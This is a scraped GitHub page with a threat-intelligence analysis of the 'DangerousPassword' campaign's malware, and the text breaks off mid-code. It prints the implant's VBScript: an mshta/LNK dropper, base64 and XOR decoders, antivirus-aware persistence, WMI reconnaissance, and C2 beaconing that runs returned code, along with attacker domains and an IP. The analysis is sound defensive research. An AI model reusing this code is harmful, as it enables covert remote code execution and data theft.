{"payload":{"allShortcutsEnabled":false,"fileTree":{"offshore APT organization/DangerousPassword/2020-04-02":{"items":
[{"name":"CSV","path":"offshore APT organization/DangerousPassword/2020-04-02/CSV","contentType":"directory"},
{"name":"JSON","path":"offshore APT organization/DangerousPassword/2020-04-02/JSON","contentType":"directory"},
{"name":"Pictures","path":"offshore APT organization/DangerousPassword/2020-04-02/Pictures","contentType":"directory"},
{"name":"Analysis.md","path":"offshore APT organization/DangerousPassword/2020-04-
02/Analysis.md","contentType":"file"}],"totalCount":4},"offshore APT organization/DangerousPassword":{"items":[{"name":"2020-04-
02","path":"offshore APT organization/DangerousPassword/2020-04-02","contentType":"directory"}],"totalCount":1},"offshore APT
organization":{"items":[{"name":"Bitter","path":"offshore APT organization/Bitter","contentType":"directory"},
{"name":"DangerousPassword","path":"offshore APT organization/DangerousPassword","contentType":"directory"}],"totalCount":2},"":{"items":
[{"name":"101","path":"101","contentType":"directory"},{"name":"Additional Analysis","path":"Additional Analysis","contentType":"directory"},
{"name":"AgentJan2020","path":"AgentJan2020","contentType":"directory"},
{"name":"AgentJune2020","path":"AgentJune2020","contentType":"directory"},{"name":"China","path":"China","contentType":"directory"},
{"name":"Indian","path":"Indian","contentType":"directory"},{"name":"Iran","path":"Iran","contentType":"directory"},
{"name":"NSIS","path":"NSIS","contentType":"directory"},{"name":"North Korea","path":"North Korea","contentType":"directory"},
{"name":"Pakistan","path":"Pakistan","contentType":"directory"},{"name":"Russia","path":"Russia","contentType":"directory"},
{"name":"Unknown","path":"Unknown","contentType":"directory"},{"name":"cybercriminal groups","path":"cybercriminal
groups","contentType":"directory"},{"name":"offshore APT organization","path":"offshore APT organization","contentType":"directory"},
{"name":"Comp.png","path":"Comp.png","contentType":"file"},{"name":"CyberKill.png","path":"CyberKill.png","contentType":"file"},
{"name":"Muddy.png","path":"Muddy.png","contentType":"file"},{"name":"README.md","path":"README.md","contentType":"file"},
{"name":"Timestamp.png","path":"Timestamp.png","contentType":"file"}],"totalCount":19}},"fileTreeProcessingTime":17.496383,"foldersToFetch":
[],"reducedMotionEnabled":null,"repo":
{"id":203393461,"defaultBranch":"master","name":"CyberThreatIntel","ownerLogin":"StrangerealIntel","currentUserCanPush":false,"isFork":false,"is
08-20T14:29:38.000Z","ownerAvatar":"https://avatars.githubusercontent.com/u/54320855?
v=4","public":true,"private":false,"isOrgOwned":false},"refInfo":
{"name":"master","listCacheKey":"v0:1672013583.2059891","canEdit":false,"refType":"branch","currentOid":"08c96e4ce8577a89b63a3905849e7e
APT organization/DangerousPassword/2020-04-02/Analysis.md","currentUser":null,"blob":
{"rawLines":null,"stylingDirectives":null,"csv":null,"csvError":null,"dependabotInfo":
{"showConfigurationBanner":false,"configFilePath":null,"networkDependabotPath":"/StrangerealIntel/CyberThreatIntel/network/updates","dismissC
notice/dependabot_configuration_notice","configurationNoticeDismissed":null,"repoAlertsPath":"/StrangerealIntel/CyberThreatIntel/security/depend
04-02/Analysis.md?raw=true","headerInfo":{"blobSize":"19.6 KB","deleteInfo":{"deleteTooltip":"You must be signed in to make or propose
changes"},"editInfo":{"editTooltip":"You must be signed in to make or propose
changes"},"ghDesktopPath":"https://desktop.github.com","gitLfsPath":null,"onBranch":true,"shortPath":"aa0cbf5","siteNavLoginPath":"/login?
return_to=https%3A%2F%2Fgithub.com%2FStrangerealIntel%2FCyberThreatIntel%2Fblob%2Fmaster%2Foffshore%2520APT%2520organizatior
04-02%2FAnalysis.md","isCSV":false,"isRichtext":true,"toc":[{"level":2,"text":"Dangerous Password","anchor":"dangerous-
password","htmlText":"Dangerous Password"},{"level":2,"text":"Table of Contents","anchor":"table-of-contents","htmlText":"Table of Contents"},
{"level":2,"text":"Malware analysis ","anchor":"malware-analysis-","htmlText":"Malware analysis "},{"level":6,"text":"The initial vector is a
executable RAR archive content a edited lnk, this writes the file in the temp folder and executes the remote code by mshta call.","anchor":"the-
initial-vector-is-a-executable-rar-archive-content-a-edited-lnk-this-writes-the-file-in-the-temp-folder-and-executes-the-remote-code-by-mshta-
call","htmlText":"The initial vector is a executable RAR archive content a edited lnk, this writes the file in the temp folder and executes the
remote code by mshta call."},{"level":6,"text":"The Bitly link redirects to a fake cloud solution which usurps a legitim service. (.club instead of
.fr)","anchor":"the-bitly-link-redirects-to-a-fake-cloud-solution-which-usurps-a-legitim-service-club-instead-of-fr","htmlText":"The Bitly link
redirects to a fake cloud solution which usurps a legitim service. (.club instead of .fr)"},{"level":6,"text":"This executes a following Visual Basic
code, the first two functions for decode the base 64 and create a stream object for manipulate data.","anchor":"this-executes-a-following-visual-
basic-code-the-first-two-functions-for-decode-the-base-64-and-create-a-stream-object-for-manipulate-data","htmlText":"This executes a
following Visual Basic code, the first two functions for decode the base 64 and create a stream object for manipulate data."},
{"level":6,"text":"Then this copy in the temp folder a file with a password and show it for the lure to the victim.","anchor":"then-this-copy-in-the-
temp-folder-a-file-with-a-password-and-show-it-for-the-lure-to-the-victim","htmlText":"Then this copy in the temp folder a file with a password
and show it for the lure to the victim."},{"level":6,"text":"The variable is reused for content the payload to execute in base 64 on the new
persistence file by lnk file.","anchor":"the-variable-is-reused-for-content-the-payload-to-execute-in-base-64-on-the-new-persistence-file-by-lnk-
file","htmlText":"The variable is reused for content the payload to execute in base 64 on the new persistence file by lnk file."},
{"level":6,"text":"Then, this creates the persistence previous said and use the same TTPs in using a lnk file with a mshta call.","anchor":"then-
this-creates-the-persistence-previous-said-and-use-the-same-ttps-in-using-a-lnk-file-with-a-mshta-call","htmlText":"Then, this creates the
persistence previous said and use the same TTPs in using a lnk file with a mshta call."},{"level":6,"text":"The part of the code check by WMI
request the process executed on the PC, modify the strategy in function of detection for avoid to be detected by the AV. Execute the next stage
of the persistence.","anchor":"the-part-of-the-code-check-by-wmi-request-the-process-executed-on-the-pc-modify-the-strategy-in-function-of-
detection-for-avoid-to-be-detected-by-the-av-execute-the-next-stage-of-the-persistence","htmlText":"The part of the code check by WMI
request the process executed on the PC, modify the strategy in function of detection for avoid to be detected by the AV. Execute the next stage
of the persistence."},{"level":6,"text":"Once decoded and deobfuscated, we can see this check if pushed argument exists before launch the
script, this essential due to the URL to contact is pushing in argument. This use random call for get a random number for add a random suffix

with ?topic=sXXXXX. On the site, whatever the URL, this redirects on another code to execute.","anchor":"once-decoded-and-deobfuscated-we-can-see-this-check-if-pushed-argument-exists-before-launch-the-script-this-essential-due-to-the-url-to-contact-is-pushing-in-argument-this-use-random-call-for-get-a-random-number-for-add-a-random-suffix-with-topicsxxxxx-on-the-site-whatever-the-url-this-redirects-on-another-code-to-execute","htmlText":"Once decoded and deobfuscated, we can see this check if pushed argument exists before launch the script, this essential due to the URL to contact is pushing in argument. This use random call for get a random number for add a random suffix with ?topic=sXXXXX. On the site, whatever the URL, this redirects on another code to execute."},{"level":6,"text":"The new bitly link redirect to a new domain witch usurp the Microsoft update domain, this load in memory the Visual Basic code to execute","anchor":"the-new-bitly-link-redirect-to-a-new-domain-witch-usurp-the-microsoft-update-domain-this-load-in-memory-the-visual-basic-code-to-execute","htmlText":"The new bitly link redirect to a new domain witch usurp the Microsoft update domain, this load in memory the Visual Basic code to execute"},{"level":6,"text":"The first three functions of the code is for parse the code send by the C2 to execute on the PC, decode with base 64 and xor the code.","anchor":"the-first-three-functions-of-the-code-is-for-parse-the-code-send-by-the-c2-to-execute-on-the-pc-decode-with-base-64-and-xor-the-code","htmlText":"The first three functions of the code is for parse the code send by the C2 to execute on the PC, decode with base 64 and xor the code."},{"level":6,"text":"The three next functions use WMI requests for getting more informations about the system.","anchor":"the-three-next-functions-use-wmi-requests-for-getting-more-informations-about-the-system","htmlText":"The three next functions use WMI requests for getting more informations about the system."},{"level":6,"text":"The next functions are used for randomizing the ID and session and format the date to string.","anchor":"the-next-functions-are-used-for-randomizing-the-id-and-session-and-format-the-date-to-string","htmlText":"The next functions are used for randomizing the ID and session and format the date to string."},{"level":6,"text":"The last functions are used for sending the informations founded to the C2 and receive the reply of the C2.","anchor":"the-last-functions-are-used-for-sending-the-informations-founded-to-the-c2-and-receive-the-reply-of-the-c2","htmlText":"The last functions are used for sending the informations founded to the C2 and receive the reply of the C2."},{"level":6,"text":"The main code launches the recon action on the system and format for request in clear the informations to the C2, in function of the response of the C2, this executes commands on the system, in clear or with base 64 + substrings operations as obfuscation.","anchor":"the-main-code-launches-the-recon-action-on-the-system-and-format-for-request-in-clear-the-informations-to-the-c2-in-function-of-the-response-of-the-c2-this-executes-commands-on-the-system-in-clear-or-with-base-64--substrings-operations-as-obfuscation","htmlText":"The main code launches the recon action on the system and format for request in clear the informations to the C2, in function of the response of the C2, this executes commands on the system, in clear or with base 64 + substrings operations as obfuscation."},{"level":6,"text":"We can list the codes used for the communications to the C2 and implant :","anchor":"we-can-list-the-codes-used-for-the-communications-to-the-c2-and-implant-","htmlText":"We can list the codes used for the communications to the C2 and implant :"},{"level":5,"text":"Note : # is a wildcard in VBA for matches with any digit character","anchor":"note---is-a-wildcard-in-vba-for-matches-with-any-digit-character","htmlText":"Note : # is a wildcard in VBA for matches with any digit character"},{"level":6,"text":"We can see on the informations send in clear to the C2 that the list of informations rest the same since mid 2019 :","anchor":"we-can-see-on-the-informations-send-in-clear-to-the-c2-that-the-list-of-informations-rest-the-same-since-mid-2019-","htmlText":"We can see on the informations send in clear to the C2 that the list of informations rest the same since mid 2019 :"},{"level":6,"text":"According with the analysis of the Japanese CERT (June 2019), the list is the same :","anchor":"according-with-the-analysis-of-the-japanese-cert-june-2019-the-list-is-the-same-","htmlText":"According with the analysis of the Japanese CERT (June 2019), the list is the same :"},{"level":6,"text":"Username","anchor":"username","htmlText":"Username"},{"level":6,"text":"Hostname","anchor":"hostname","htmlText":"Hostname"},{"level":6,"text":"OS version","anchor":"os-version","htmlText":"OS version"},{"level":6,"text":"OS install date","anchor":"os-install-date","htmlText":"OS install date"},{"level":6,"text":"OS runtime","anchor":"os-runtime","htmlText":"OS runtime"},{"level":6,"text":"Timezone","anchor":"timezone","htmlText":"Timezone"},{"level":6,"text":"CPU name","anchor":"cpu-name","htmlText":"CPU name"},{"level":6,"text":"Execution path of vbs file","anchor":"execution-path-of-vbs-file","htmlText":"Execution path of vbs file"},{"level":6,"text":"Network adapter information","anchor":"network-adapter-information","htmlText":"Network adapter information"},{"level":6,"text":"List of running processes","anchor":"list-of-running-processes","htmlText":"List of running processes"},{"level":6,"text":"On the opendir, like the last observations on the group, legit VNC binaries can be found, this indicates that the group have kept the same TTPs for the extraction of the data. This high probable that the group do manual actions for reduce the security measures and execute the tools for obtain the data on the crypto-occurencies.","anchor":"on-the-opendir-like-the-last-observations-on-the-group-legit-vnc-binaries-can-be-found-this-indicates-that-the-group-have-kept-the-same-ttps-for-the-extraction-of-the-data-this-high-probable-that-the-group-do-manual-actions-for-reduce-the-security-measures-and-execute-the-tools-for-obtain-the-data-on-the-crypto-occurencies","htmlText":"On the opendir, like the last observations on the group, legit VNC binaries can be found, this indicates that the group have kept the same TTPs for the extraction of the data. This high probable that the group do manual actions for reduce the security measures and execute the tools for obtain the data on the crypto-occurencies."},{"level":6,"text":"China doesn't recognize cryptocurrencies as legal tender and the banking system isn't accepting cryptocurrencies or providing relevant services for trading in place since September 2017. The Chinese government has recently promoted a law facilitating the transition to the exchange of a virtual currency led by the state, this change explained why since the campaign of January, China is now in the focus of the Asian countries targeted by the group (the announcement also caused an increase in bitcoins and these derivative currencies). The TTPs of the group are the same since mid 2019 and rest focus on the steal of the crypto-occurencies.","anchor":"china-doesnt-recognize-cryptocurrencies-as-legal-tender-and-the-banking-system-isnt-accepting-cryptocurrencies-or-providing-relevant-services-for-trading-in-place-since-september-2017-the-chinese-government-has-recently-promoted-a-law-facilitating-the-transition-to-the-exchange-of-a-virtual-currency-led-by-the-state-this-change-explained-why-since-the-campaign-of-january-china-is-now-in-the-focus-of-the-asian-countries-targeted-by-the-group-the-announcement-also-caused-an-increase-in-bitcoins-and-these-derivative-currencies-the-ttps-of-the-group-are-the-same-since-mid-2019-and-rest-focus-on-the-steal-of-the-crypto-occurencies","htmlText":"China doesn't recognize cryptocurrencies as legal tender and the banking system isn't accepting cryptocurrencies or providing relevant services for trading in place since September 2017. The Chinese government has recently promoted a law facilitating the transition to the exchange of a virtual currency led by the state, this change explained why since the campaign of January, China is now in the focus of the Asian countries targeted by the group (the announcement also caused an increase in bitcoins and these derivative currencies). The TTPs of the group are the same since mid 2019 and rest focus on the steal of the crypto-occurencies."},{"level":2,"text":" Cyber kill chain ","anchor":"-cyber-kill-chain-","htmlText":" Cyber kill chain "},{"level":6,"text":"This process graph represent the cyber kill chain used by the

attacker.","anchor":"this-process-graph-represent-the-cyber-kill-chain-used-by-the-attacker","htmlText":"This process graph represent the cyber kill chain used by the attacker."},{"level":2,"text":" Indicators Of Compromise (IOC) ","anchor":"-indicators-of-compromise-ioc-","htmlText":" Indicators Of Compromise (IOC) "},{"level":6,"text":" The IOC can be exported in JSON and CSV","anchor":"-the-ioc-can-be-exported-in-json-and-csv","htmlText":" The IOC can be exported in JSON and CSV"},{"level":2,"text":" References MITRE ATT&CK Matrix ","anchor":"-references-mitre-attck-matrix-","htmlText":" References MITRE ATT&CK Matrix "},{"level":6,"text":" This can be exported as JSON format Export in JSON","anchor":"-this-can-be-exported-as-json-format-export-in-json","htmlText":" This can be exported as JSON format Export in JSON"},{"level":2,"text":"Links ","anchor":"links-","htmlText":"Links "},{"level":6,"text":" Original tweet: ","anchor":"-original-tweet-","htmlText":" Original tweet: "},{"level":6,"text":" Links Anyrun: ","anchor":"-links-anyrun-","htmlText":" Links Anyrun: "},{"level":6,"text":"Articles ","anchor":"articles-","htmlText":"Articles "}],"lineInfo":{"truncatedLoc":"559","truncatedSloc":"504"},"mode":"file"},"image":false,"isCodeownersFile":null,"isValidLegacyIssueTemplate":false,"issueTemplaissue-and-pull-request-templates","issueTemplate":null,"discussionTemplate":null,"language":"Markdown","large":false,"loggedIn":false,"newDiscussionPath":"/Strangerea{"repoIsFork":null,"repoOwnedByCurrentUser":null,"requestFullPath":"/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organiz04-02/Analysis.md","showFreeOrgGatedFeatureMessage":null,"showPlanSupportBanner":null,"upgradeDataAttributes":null,"upgradePath":null},"publi{"dismissActionNoticePath":"/settings/dismiss-notice/publish_action_from_dockerfile","dismissStackNoticePath":"/settings/dismiss-notice/publish_stack_from_file","releasePath":"/StrangerealIntel/CyberThreatIntel/releases/new?marketplace=true","showPublishActionBanner":false,"showPublishStackBanner":false},"renderImageOrRaw":false,"richText":"

Dangerous Password

\n

Table of Contents

\n

\n

Malware analysis

\n
The initial vector is a executable RAR archive content a edited lnk, this writes the file in the temp folder and executes the remote code by mshta call.

\n


\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

MachineID	IconFileName	CommandLineArguments	WorkingDirectory	LocalBasePath
desktop-mn3id9	C:\\Windows\\System32\\shell32.dll	/c start /b %SystemRoot%\\System32\\mshta https[:]//bit.ly/2UiZH6V	C:\\Users\\Public\\Music\\	C:\\Windows\\System32\\cmc

\n
The Bitly link redirects to a fake cloud solution which usurps a legitim service. (.club instead of .fr)

\n

```
<html>\n<head><title>Bitly</title></head>\n<body><a href=\"http://www.cloudfiles.club:8080/edit?
id=T8YJQTVktMp8W%2Bj/W5EvDWglxOnw8evApd1RaERyZzz/Qzh2uXI/OIlDzMTGaoc57qLEkLRpQt5RK8enWJAvRA%3D%3D\">moved here</a></body>\n</html>
```

\n
This executes a following Visual Basic code, the first two functions for decode the base 64 and create a stream object for manipulate data.

\n

```
<script language=\"vbscript\">\nfunction dbsc(tds)\n\twith
CreateObject(\"Msxml2.DOMDocument\").CreateElement(\"mic\")\n\t\t.DataType=\"bin.base64\"\n\t\t.Text=tds\n\t\tdbsc=appc(.NodeTypedVa
 with\nend function\nfunction appc(ByVal bin)\n\twith CreateObject(\"ADODB.Stream\")\n\t\t.Type=1\n\t\t.Open\n\t\t.Write
bin\n\t\t.Position=0\n\t\t.Type=2\n\t\t.CharSet=\"utf-8\"\n\t\tappc=.ReadText\n\t\t.Close\n\tend with\nend function
```

\n
Then this copy in the temp folder a file with a password and show it for the lure to the victim.

\n

```
pay_req=\"CMD.EXE /C \"\"ECHO risk2020>\"\"%TEMP%\\Password.txt\"\"&NOTEPAD.EXE \"\"%TEMP%\\Password.txt\"\"&DEL
\"\"%TEMP%\\Password.txt\"\"\"\"\nset wish=CreateObject(\"wscript.shell\")\nwish.Run pay_req,0,false
```

\n
The variable is reused for content the payload to execute in base 64 on the new persistence file by lnk file.

\n

```
pay_req=\"b24gZXJyb3IgcmVzdW1lIG5leHQNCnJhbmRvbWl6ZQ0KaWYgV1NjcmlwdC5Bcmd1bWVudHMuTGVuZ3RoPjAgdGhlbg0KCUhUUD0iaHQiDQoJdXU9SFRQJiJ0cD
```

\n
Then, this creates the persistence previous said and use the same TTPs in using a lnk file with a mshta call.

\n

```
set fob=CreateObject(\"Scripting.FileSystemObject\")\npath_persistence=fob.GetSpecialFolder(2)&\"\\Xbox.lnk\"\nSet
tcl=wish.CreateShortcut(path_persistence)\ntcl.TargetPath=\"mshta\"\ntcl.Arguments=\"https://bit.ly/3dr8YBv\"\npath_file=fob.GetSpec
 btf=fob.OpenTextFile(path_file,2,true)\nbtf.Write dbsc(pay_req)\nbtf.Close()
```

\n
The part of the code check by WMI request the process executed on the PC, modify the strategy in function of detection for avoid to be detected by the AV. Execute the next stage of the persistence.

\n

```
list_process=\"\"\nset wmi=GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2\")\nset
wmiresult=wmi.ExecQuery(\"Select * from Win32_Process\") \n\nfor each obj in
wmiresult\n\tlist_process=list_process&LCase(obj.Name)&\"|\"\nnext\n\n'npprot -> npprot.exe ->  Net Protector (Indian AV)\n'kwsprot
->kwsprotect64.exe -> Kingsoft Antivirus (Chinese AV)\nex=\"ws\"\nif Instr(list_process,\"kwsprot\")>0 or
Instr(list_process,\"npprot\")>0 then\n\tex=\"cs\"\nend if\n\nln=\"start /b \"&ex&\"cript \"\"\"&path_file&\"\"\"
\"+\"88.204.166.59:8080/edit\"\nln2=\" & move \"\"\"&path_persistence&\"\"\" \"\"\"& wish.SpecialFolders(\"startup\")
&\"\\\"\"\"\n\n'qhsafe ->  QHSafeTray.exe -> Qihoo 360 Total Security (Chinese AV)\n'hudongf -> zhudongfangyu.exe ->  Qihoo 360
security (Chinese AV)\nif Instr(list_process,\"hudongf\")>0 or Instr(list_process,\"qhsafe\")>0 then\n\tln2=\" & del
\"\"\"&path_persistence&\"\"\"\"\nelse\n\ttcl.Save\nend if\n\nwish.run \"CMD.EXE /c \" & ln&\" 1\" & \" & \" & ln&\" 2\" &
ln2,0,false\nwindow.close\n</script>
```

\n
Once decoded and deobfuscated, we can see this check if pushed argument exists before launch the script, this essential due to the URL to contact is pushing in argument. This use random call for get a random number for add a random suffix with `?topic=sXXXXX`. On the site, whatever the URL, this redirects on another code to execute.

\n

```
on error resume next\nrandomize\nif WScript.Arguments.Length>0 then\n\turl=\"http://\"&WScript.Arguments.Item(0)\n\tset
whr=CreateObject(\"WinHttp.WinHttpRequest.5.1\")\n\tdo while true\n\t\trtc=\"\"\n\t\ttpc=url&\"?
topic=s\"&Int(1000*rnd+9000)\n\t\twhr.Open \"POST\",tpc,false\n\t\twhr.Send \"200\"\n\t\tif whr.Status=200
Then\n\t\t\trtc=whr.ResponseText\n\t\tend if\n\t\tif rtc<>\"\" then\n\t\t\tExecute(rtc)\n\t\t\texit do\n\t\tend
if\n\t\tWScript.Sleep 180000 ' 50 min\n\tloop\nend if
```

\n
The new bitly link redirect to a new domain witch usurp the Microsoft update domain, this load in memory the Visual Basic code to execute

\n

```
<html>\n<head><title>Bitly</title></head>\n<body><a href=\"http://www.msupdatepms.xyz:8080/edit?
id=WOR%2BQhmDavXldv2sjyh%2BT0j4LYqP0ZVKAenNEEfEwIjzActclow3fxmuRtjNCZL0orvVKik5oXLS5W%2Bg45HqaQ%3D%3D\">moved here</a>
</body>\n</html>
```

\n
The first three functions of the code is for parse the code send by the C2 to execute on the PC, decode with base 64 and xor the code.

\n

```
on error resume next\nfunction NStep(cmd)
\n\tn=0\n\tt=0\n\tNStep=\"\"\n\tret=\"\"\n\tn=InStr(1,cmd,\"#\")\n\tsUri=Mid(cmd,n+1,Len(cmd)-n)\n\turi=sUri&\"?
topic=v\"&CStr(randID())&\"&session=\"&uID\n\tdo while 1>0\n\t\tret=uget(uri)\n\t\tif ret=\"\" then\n\t\t\tif t=10
then\n\t\t\t\texit function\n\t\t\tend if\n\t\t\tt=t+1\n\t\telse\n\t\t\texit do\n\t\tend if\n\t\tWScript.Sleep
60*1000\n\tloop\n\tn=InStr(1,ret,\"#\")\n\tk=CLng(\"&h\" & Mid(ret,1,n-1))\n\tpsc=Mid(ret,n+1,Len(ret)-
n)\n\tsc=bdec(psc)\n\tpsc=CStr(xdec(sc,k))\n\tNStep=bdec(psc)\nend function\nfunction bdec(c)\n\ton error resume next\n\tconst
Base64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\tdim dataLength, sOut, groupBegin\n\tc = Replace(c,
vbCrLf, \"\")\n\tc = Replace(c, vbTab, \"\")\n\tc = Replace(c, \" \", \"\")\n\tdataLength = Len(c)\n\tif dataLength Mod 4 <> 0
then\n\t\texit function\n\tend if\n\tfor groupBegin = 1 to dataLength step 4\n\t\tdim numDataBytes, CharCounter, thisChar,
thisData, nGroup, pOut\n\t\tnumDataBytes = 3\n\t\tnGroup = 0\n\t\tfor CharCounter = 0 to 3\n\t\t\tthisChar = Mid(c, groupBegin +
CharCounter, 1)\n\t\t\tif thisChar = \"=\" then\n\t\t\t\tnumDataBytes = numDataBytes - 1\n\t\t\t\tthisData =
0\n\t\t\telse\n\t\t\t\tthisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1\n\t\t\tend if\n\t\t\tif thisData = -1
then\n\t\t\t\texit function\n\t\t\tend if\n\t\t\tnGroup = 64 * nGroup + thisData\n\t\tnext\n\t\tnGroup = Hex(nGroup)\n\t\tnGroup =
String(6 - Len(nGroup), \"0\") & nGroup\n\t\tpOut = Chr(CByte(\"&H\" & Mid(nGroup, 1, 2)))\n\t\tpOut = pOut & Chr(CByte(\"&H\" &
Mid(nGroup, 3, 2)))\n\t\tpOut = pOut & Chr(CByte(\"&H\" & Mid(nGroup, 5, 2)))  \n\t\tsOut = sOut & Left(pOut,
numDataBytes)\n\tnext\n\tbdec = sOut\nend function\nfunction xdec(input, pkey)\n\txdec=\"\"\n\tfor i=1 to
Len(input)\n\t\txdec=xdec+chr(asc(mid(input, i, 1)) Xor pkey) \n\tnext\nend function
```

\n
The three next functions use WMI requests for getting more informations about the system.

\n

```
function getUName()\n\tgetUName=\"\"\n\tset ObjWMI=GetObject(\"winmgmts:\\\\.\\root\\CIMV2\") \n\tset
colItems=ObjWMI.ExecQuery(\"SELECT * FROM Win32_ComputerSystem\",,48) \n\tfor each objItem in colItems\n\t\tif not
IsNull(objItem.UserName) then\n\t\t\tgetUName=objItem.UserName\n\t\tend if\n\tnext\nend function\nfunction getProc()\n\ton error
resume next\n\tset objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2\")\n\tset prclst =
objWMIService.ExecQuery (\"Select * from Win32_Process\") \n\tfor each prc in prclst\n\t\tif InStr(1,prc.Name,\"svchost\",1)=0 And
prc.ProcessID <> 0 And prc.ProcessID <> 4 then\n\t\t\tgetProc=getProc+ent+CStr(prc.ProcessID)+tab+CStr(prc.SessionID)+tab\n\t\t\tif
IsNull(prc.CommandLine) then\n\t\t\t\tgetProc=getProc+prc.Name\n\t\t\telse\n\t\t\t\tgetProc=getProc+prc.CommandLine\n\t\t\tend
if\n\t\tend if\n\tnext\nend function\nfunction getInfo()\n\ton error resume next\n\tset
ObjWMI=GetObject(\"winmgmts:\\\\.\\root\\CIMV2\")\n\tset osItems = ObjWMI.ExecQuery(\"Select * from Win32_OperatingSystem\")\n\tset
wdate=CreateObject(\"WbemScripting.SWbemDateTime\")\n\tfor each item In osItems\n\t\ton error resume
next\n\t\tgetInfo=getInfo&\"Hostname:\"+tab+item.CSName+ent\n\t\tgetInfo=getInfo&\"OS Name:\"+tab+item.Caption+\"
\"+item.OSArchitecture+ent\n\t\tgetInfo=getInfo&\"OS Version:\"+tab+item.Version+ent\n\t\tif not IsNull (item.InstallDate)
then\n\t\t\twdate.Value=item.InstallDate\n\t\t\tgetInfo=getInfo + \"Install
Date:\"+tab+GetFormattedDate(wdate.GetVarDate(true))+ent\n\t\tend if\n\t\tif not IsNull(item.LastBootUpTime)
then\n\t\t\twdate.Value=item.LastBootUpTime\n\t\t\tgetInfo=getInfo + \"Boot
Time:\"+tab+FormatDateTime(wdate.GetVarDate(true))+ent\n\t\tend if\n\tnext\n\tset csItems=ObjWMI.ExecQuery(\"SELECT * FROM
Win32_ComputerSystem\") \n\tset tzItems=ObjWMI.ExecQuery(\"SELECT * FROM Win32_TimeZone\") \n\t\n\tfor each item in
csItems\n\t\tcTZ=item.CurrentTimeZone\n\tnext\n\tfor each tzitem in tzItems\n\t\tUtcName=tzitem.StandardName\n\tnext\n\ttimezone
=\"(UTC \" + CStr(cTZ/60) +\" hours) \" +UtcName\n\tgetInfo=getInfo+\"Time Zone:\"+tab+timezone+ent\n\tset
cpuItems=ObjWMI.ExecQuery( \"SELECT * FROM Win32_Processor\")\n\tfor each item in cpuItems\n\t\tselect case
item.Architecture\n\t\t\tcase 0 cpuArch=\"x86\"\n\t\t\tcase 6 cpuArch=\"Itanium\"\n\t\t\tcase 9 cpuArch=\"x64\"\n\t\t\tcase
else\n\t\t\t\tcpuArch=\"Unknown\"\n\t\tend select\n\t\tgetInfo=getInfo+\"CPU:\"+tab+tab+item.Name+\" (\" + cpuArch +
\")\"+ent\n\tnext\n\t\n\tgetInfo=getInfo + \"Path:     \"+tab+WScript.ScriptFullName+ent+ent\n\n\tset
adapItems=ObjWMI.ExecQuery(\"SELECT * FROM Win32_NetworkAdapterConfiguration\",,48)\n\tfor each adapter in adapItems\n\t\ton error
resume next\n\t\tif isNull(adapter.IPAddress) then\n\t\telse\n\t\t\tgetInfo=getInfo+\"Network
Adapter:\"+tab&adapter.Description+ent\n\t\t\tgetInfo=getInfo+\"  MAC Address:\"+tab&adapter.MACAddress +
ent\n\t\t\tgetInfo=getInfo+\"  IP Address:\"+tab+Join(adapter.IPAddress, \",\") + ent\n\t\t\tgetInfo=getInfo+\"  Subnet
Mask:\"+tab+Join(adapter.IPSubnet, \",\") + ent\n\t\t\tgetInfo=getInfo+\"  Default Gateway:\"+tab+Join(adapter.DefaultIPGateway,
\",\") + ent\n\t\t\tif adapter.DHCPEnabled=true then\n\t\t\t\tgetInfo=getInfo+\"  DHCP Servers:\"+tab&adapter.DHCPServer +
ent\n\t\tend if\n\t\tgetInfo=getInfo+\"  DNS Server:\"+tab+Join(adapter.DNSServerSearchOrder, \",\") + ent\n\t\tend
if\n\tnext\nend function
```

\n
The next functions are used for randomizing the ID and session and format the date to string.

\n

```
function rand()\n\trandomize\n\trand=Int(90000000*rnd)+10000000\nend function\nfunction
randID()\n\trandomize\n\trandID=Int(1000*rnd)\nend function\nfunction GetFormattedDate (sDate)\n\tstrDate = CDate(sDate)\n\tstrDay
= DatePart(\"d\", strDate)\n\tstrMonth = DatePart(\"m\", strDate)\n\tstrYear = DatePart(\"yyyy\", strDate)\n\tif strDay < 10
then\n\t\tstrDay = \"0\" & strDay\n\tend if\n\tif strMonth < 10 then\n\t\tstrMonth = \"0\" & strMonth\n\tend if\n\tGetFormattedDate
= strMonth & \"/\" & strDay &\"/\" &strYear\nend function
```

\n
The last functions are used for sending the informations founded to the C2 and receive the reply of the C2.

\n

```
function post(u,content)\n\ton error resume next\n\tset hReq=CreateObject(\"MSXML2.XMLHTTP\")\n\tul=u & \"&isbn=\" &
(timer()*100)\n\thReq.Open \"POST\", ul, false\n\thReq.Send content\n\tif hReq.Status=200 then\n\t\tpost=hReq.responseText\n\tend
if\nend function\nfunction uget(u)\n\ton error resume next\n\tset hrq=CreateObject(\"MSXML2.XMLHTTP\")\n\tul=u & \"&id=\" &
(timer()*100)\n\thrq.Open \"GET\", ul, false\n\thrq.Send\n\tif hrq.Status=200 then\n\t\tuget=hrq.responseText\n\tend if\nend
function
```

\n
The main code launches the recon action on the system and format for request in clear the informations to the C2, in function of the response of the C2, this executes commands on the system, in clear or with base 64 + substrings operations as obfuscation.

\n

```
set sh=CreateObject(\"wscript.Shell\")\nent=Chr(13)+Chr(10) '\\n\ntab=Chr(9) '\\t\nuID=CStr(rand())\nif WScript.Arguments.Length>1
then\n\tuID=uID&WScript.Arguments.Item(1)\nend if\nif WScript.Arguments.Length>0
then\n\tuu=\"http://\"&WScript.Arguments.Item(0)\nend if\nsData=getInfo()\nif IsNull(sData) then\n\tsData=\"\"\nend
if\nsData=\"Username:\"+tab+getUName()+ent+sData\nsUri=\"\"\nurl=uu+\"?topic=v\"+CStr(randID())+\"&session=\"+uID\ndo while
1>0\n\tpsc=\"\"\n\tcurDate = \"Current Time:\"&tab&Date&\" \"&Time\n\tpl=getProc()\n\tpData=curDate+ent+sData+ent\n\tif not
IsNull(pl) then\n\t\tpData=pData+pl\n\tend if\n\tres=post(url,pData)\n\tif InStr(1,res,\"20#\")<>0 then\n\t\tpsc=NStep(res)\n\t\tif
